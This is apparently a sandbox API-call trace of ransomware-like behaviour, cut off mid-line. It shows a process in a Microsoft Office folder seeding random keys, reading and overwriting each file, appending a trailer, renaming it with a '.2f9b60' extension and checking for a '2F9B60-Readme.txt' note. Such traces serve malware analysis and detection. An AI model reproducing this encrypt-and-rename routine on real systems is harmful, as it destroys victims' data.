[0089.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.939] NtQuerySystemTime (in: CurrentTime=0x25a9fc60 | out: CurrentTime=0x25a9fc60*=132462176958070000) returned 0x0 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x1c0d1662 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x596d6d90 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x6da57cc2 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0xec06798 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x7cc950dc [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x23a459ae [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x6b1d5a6b [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x67487007 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x1af8678b [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0xe07afdc [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x70f43daa [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x42a42788 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x33fe2957 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x13f897 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x3939e959 [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x7a6e4b5d [0089.939] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x50a1cb3d [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x277fa67 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x11267477 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x7b2ae11f [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x56fc2b84 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x70fd7b0 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x6391c857 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0xd6716ad [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x4e8db344 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x8638e92 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x2e993a22 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x4819314 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x31e4ba79 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x355748a9 [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x115a580a [0089.940] RtlRandomEx (in: Seed=0x25a9fc50 | out: Seed=0x25a9fc50) returned 0x2edf9291 [0089.950] SetFilePointerEx (in: hFile=0xa88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.950] ReadFile (in: hFile=0xa88, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25a9fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x25a9fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.955] SetFilePointerEx (in: hFile=0xa88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0089.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0089.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a960) returned 1 [0089.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cede210 [0089.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a960 [0089.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a360) returned 1 [0089.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0089.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.956] WriteFile (in: hFile=0xa88, lpBuffer=0x1cede210*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25a9fcc0, lpOverlapped=0x0 | out: lpBuffer=0x1cede210*, lpNumberOfBytesWritten=0x25a9fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cede210) returned 1 [0098.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0098.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ef70 [0098.419] SetFilePointerEx (in: hFile=0xa88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.419] WriteFile (in: hFile=0xa88, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x25a9fd70, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x25a9fd70*=0x110, lpOverlapped=0x0) returned 1 [0101.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0101.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0101.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced7d70 [0101.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0101.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0101.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0101.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97670 [0101.543] sprintf (in: _Dest=0x1cd97670, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97672, _Format="%c%c" | out: _Dest="7a") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97674, _Format="%c%c" | out: _Dest="b9") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97676, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97678, _Format="%c%c" | out: _Dest="c3") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9767a, _Format="%c%c" | out: _Dest="0a") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9767c, _Format="%c%c" | out: _Dest="f1") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9767e, _Format="%c%c" | out: _Dest="42") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97680, _Format="%c%c" | out: _Dest="ee") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97682, _Format="%c%c" | out: _Dest="45") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97684, _Format="%c%c" | out: _Dest="b6") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97686, _Format="%c%c" | out: _Dest="f4") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97688, _Format="%c%c" | out: _Dest="82") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9768a, _Format="%c%c" | out: _Dest="bd") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9768c, _Format="%c%c" | out: _Dest="31") returned 2 [0101.543] sprintf (in: _Dest=0x1cd9768e, _Format="%c%c" | out: _Dest="8c") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97690, _Format="%c%c" | out: _Dest="21") returned 2 [0101.543] sprintf (in: _Dest=0x1cd97692, _Format="%c%c" | out: _Dest="e7") returned 2 [0101.544] sprintf (in: _Dest=0x1cd97694, _Format="%c%c" | out: _Dest="51") returned 2 [0101.544] sprintf (in: _Dest=0x1cd97696, _Format="%c%c" | out: _Dest="1e") returned 2 [0101.544] sprintf (in: _Dest=0x1cd97698, _Format="%c%c" | out: _Dest="4d") returned 2 [0101.544] sprintf (in: _Dest=0x1cd9769a, _Format="%c%c" | out: _Dest="ae") returned 2 [0101.544] sprintf (in: _Dest=0x1cd9769c, _Format="%c%c" | out: _Dest="76") returned 2 [0101.544] sprintf (in: _Dest=0x1cd9769e, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976a0, _Format="%c%c" | out: _Dest="7f") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976a2, _Format="%c%c" | out: _Dest="33") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976a4, _Format="%c%c" | out: _Dest="16") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976a6, _Format="%c%c" | out: _Dest="1e") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976a8, _Format="%c%c" | out: _Dest="d5") returned 2 [0101.544] sprintf (in: _Dest=0x1cd976aa, _Format="%c%c" | out: _Dest="82") returned 2 [0101.544] RtlInitAnsiString (in: DestinationString=0x25a9fde8, SourceString="6d7ab93bc30af142ee45b6f482bd318c21e7511e4dae766d7f33161ed582" | out: DestinationString="6d7ab93bc30af142ee45b6f482bd318c21e7511e4dae766d7f33161ed582") [0101.544] RtlAnsiStringToUnicodeString (in: DestinationString=0x25a9fdb8, SourceString="6d7ab93bc30af142ee45b6f482bd318c21e7511e4dae766d7f33161ed582", AllocateDestinationString=1 | out: DestinationString="6d7ab93bc30af142ee45b6f482bd318c21e7511e4dae766d7f33161ed582") returned 0x0 [0101.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4d650 [0101.544] wcscat (in: _Dest=0x202affa0, _Source="6d7ab93bc30af14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14") returned="C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14" [0101.544] wcscat (in: _Dest=0x202affa0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14.2f9b60" [0101.544] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14.2f9b60", NtPathName=0x25a9fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\6d7ab93bc30af14.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202adfa0 [0101.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adfa0) returned 1 [0101.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d690) returned 1 [0101.852] NtQueryInformationFile (in: FileHandle=0xa88, IoStatusBlock=0x25a9fdf8, FileInformation=0x25a9fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25a9fdf8, FileInformation=0x25a9fe08) returned 0x0 [0101.852] NtSetInformationFile (FileHandle=0xa88, IoStatusBlock=0x25a9fdf8, FileInformation=0x25a9fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202affa0) returned 1 [0102.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d650) returned 1 [0102.402] FlushFileBuffers (hFile=0xa88) returned 1 [0102.408] CloseHandle (hObject=0xa88) returned 1 [0102.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afa00 [0102.770] wcscpy (in: _Dest=0x202afa00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0102.770] wcscat (in: _Dest=0x202afa00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0102.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0102.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0102.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 Thread: id = 379 os_tid = 0xf1c [0089.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd")) returned 0x20 [0089.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd", dwFileAttributes=0x20) returned 1 [0089.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa84 [0089.963] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x2650fa80 | out: lpFileSize=0x2650fa80*=13089) returned 1 [0089.963] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x331d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.963] ReadFile (in: hFile=0xa84, lpBuffer=0x2650fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2650fa48, lpOverlapped=0x0 | out: lpBuffer=0x2650fa00*, lpNumberOfBytesRead=0x2650fa48*=0x4, lpOverlapped=0x0) returned 1 [0089.965] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.965] NtQuerySystemTime (in: CurrentTime=0x2650f940 | out: CurrentTime=0x2650f940*=132462176958382000) returned 0x0 [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7deae33a [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x4b4bcf63 [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7bac3d99 [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x49fa4c55 [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x53c78ceb [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x5c70ab10 [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7d666e9b [0089.965] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x52f583f6 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x53b8b1d7 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x3a77e6a2 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x17381b8c [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7c4c36ad [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x364e4b97 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x2654999f [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x4e0d3290 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7ebb0825 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x381c0470 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0xed3a9c0 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x79b73a6 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x6357c9a7 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7a0964f0 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x386294ff [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x7711de16 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x3effdd44 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x6244f06f [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x76c2693a [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x375a24a [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x6d05a9c4 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x3e9ab5af [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x2695c87d [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x5855a669 [0089.966] RtlRandomEx (in: Seed=0x2650f930 | out: Seed=0x2650f930) returned 0x6ca46842 [0089.976] ReadFile (in: hFile=0xa84, lpBuffer=0x1cee1e20, nNumberOfBytesToRead=0x3321, lpNumberOfBytesRead=0x2650f930, lpOverlapped=0x0 | out: lpBuffer=0x1cee1e20*, lpNumberOfBytesRead=0x2650f930*=0x3321, lpOverlapped=0x0) returned 1 [0089.980] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.981] WriteFile (in: hFile=0xa84, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0x3321, lpNumberOfBytesWritten=0x2650f934, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x2650f934*=0x3321, lpOverlapped=0x0) returned 1 [0089.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0089.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee1e20) returned 1 [0089.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0089.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97350 [0089.985] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.985] WriteFile (in: hFile=0xa84, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2650fa50, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2650fa50*=0x120, lpOverlapped=0x0) returned 1 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9fc70 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0089.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0089.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0089.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0089.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86e560 [0089.987] sprintf (in: _Dest=0x1b86e560, _Format="%c%c" | out: _Dest="63") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e562, _Format="%c%c" | out: _Dest="8d") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e564, _Format="%c%c" | out: _Dest="e7") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e566, _Format="%c%c" | out: _Dest="db") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e568, _Format="%c%c" | out: _Dest="f7") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e56a, _Format="%c%c" | out: _Dest="c7") returned 2 [0089.987] sprintf (in: _Dest=0x1b86e56c, _Format="%c%c" | out: _Dest="53") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e56e, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e570, _Format="%c%c" | out: _Dest="12") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e572, _Format="%c%c" | out: _Dest="13") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e574, _Format="%c%c" | out: _Dest="d9") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e576, _Format="%c%c" | out: _Dest="21") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e578, _Format="%c%c" | out: _Dest="13") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e57a, _Format="%c%c" | out: _Dest="e9") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e57c, _Format="%c%c" | out: _Dest="8a") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e57e, _Format="%c%c" | out: _Dest="cb") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e580, _Format="%c%c" | out: _Dest="b0") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e582, _Format="%c%c" | out: _Dest="f9") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e584, _Format="%c%c" | out: _Dest="92") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e586, _Format="%c%c" | out: _Dest="2f") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e588, _Format="%c%c" | out: _Dest="d7") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e58a, _Format="%c%c" | out: _Dest="39") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e58c, _Format="%c%c" | out: _Dest="ae") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e58e, _Format="%c%c" | out: _Dest="35") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e590, _Format="%c%c" | out: _Dest="82") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e592, _Format="%c%c" | out: _Dest="e2") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e594, _Format="%c%c" | out: _Dest="00") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e596, _Format="%c%c" | out: _Dest="90") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e598, _Format="%c%c" | out: _Dest="ff") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e59a, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e59c, _Format="%c%c" | out: _Dest="18") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e59e, _Format="%c%c" | out: _Dest="d5") returned 2 [0089.988] sprintf (in: _Dest=0x1b86e5a0, _Format="%c%c" | out: _Dest="96") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5a2, _Format="%c%c" | out: _Dest="a6") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5a4, _Format="%c%c" | out: _Dest="e2") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5a6, _Format="%c%c" | out: _Dest="6e") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5a8, _Format="%c%c" | out: _Dest="75") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5aa, _Format="%c%c" | out: _Dest="78") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5ac, _Format="%c%c" | out: _Dest="d8") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5ae, _Format="%c%c" | out: _Dest="32") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5b0, _Format="%c%c" | out: _Dest="6d") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5b2, _Format="%c%c" | out: _Dest="53") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5b4, _Format="%c%c" | out: _Dest="f0") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5b6, _Format="%c%c" | out: _Dest="5b") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5b8, _Format="%c%c" | out: _Dest="04") returned 2 [0089.989] sprintf (in: _Dest=0x1b86e5ba, _Format="%c%c" | out: _Dest="59") returned 2 [0089.989] RtlInitAnsiString (in: DestinationString=0x2650fac8, SourceString="638de7dbf7c753f01213d92113e98acbb0f9922fd739ae3582e20090fff018d596a6e26e7578d8326d53f05b0459" | out: DestinationString="638de7dbf7c753f01213d92113e98acbb0f9922fd739ae3582e20090fff018d596a6e26e7578d8326d53f05b0459") [0089.989] RtlAnsiStringToUnicodeString (in: DestinationString=0x2650fa98, SourceString="638de7dbf7c753f01213d92113e98acbb0f9922fd739ae3582e20090fff018d596a6e26e7578d8326d53f05b0459", AllocateDestinationString=1 | out: DestinationString="638de7dbf7c753f01213d92113e98acbb0f9922fd739ae3582e20090fff018d596a6e26e7578d8326d53f05b0459") returned 0x0 [0089.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118540 [0089.989] wcscat (in: _Dest=0x1b7ad2a0, _Source="638de7dbf7c753f01213d92" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\638de7dbf7c753f01213d92") returned="C:\\Program Files\\Microsoft Office\\Office14\\638de7dbf7c753f01213d92" [0089.989] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\638de7dbf7c753f01213d92.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\638de7dbf7c753f01213d92.2f9b60" [0089.989] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft 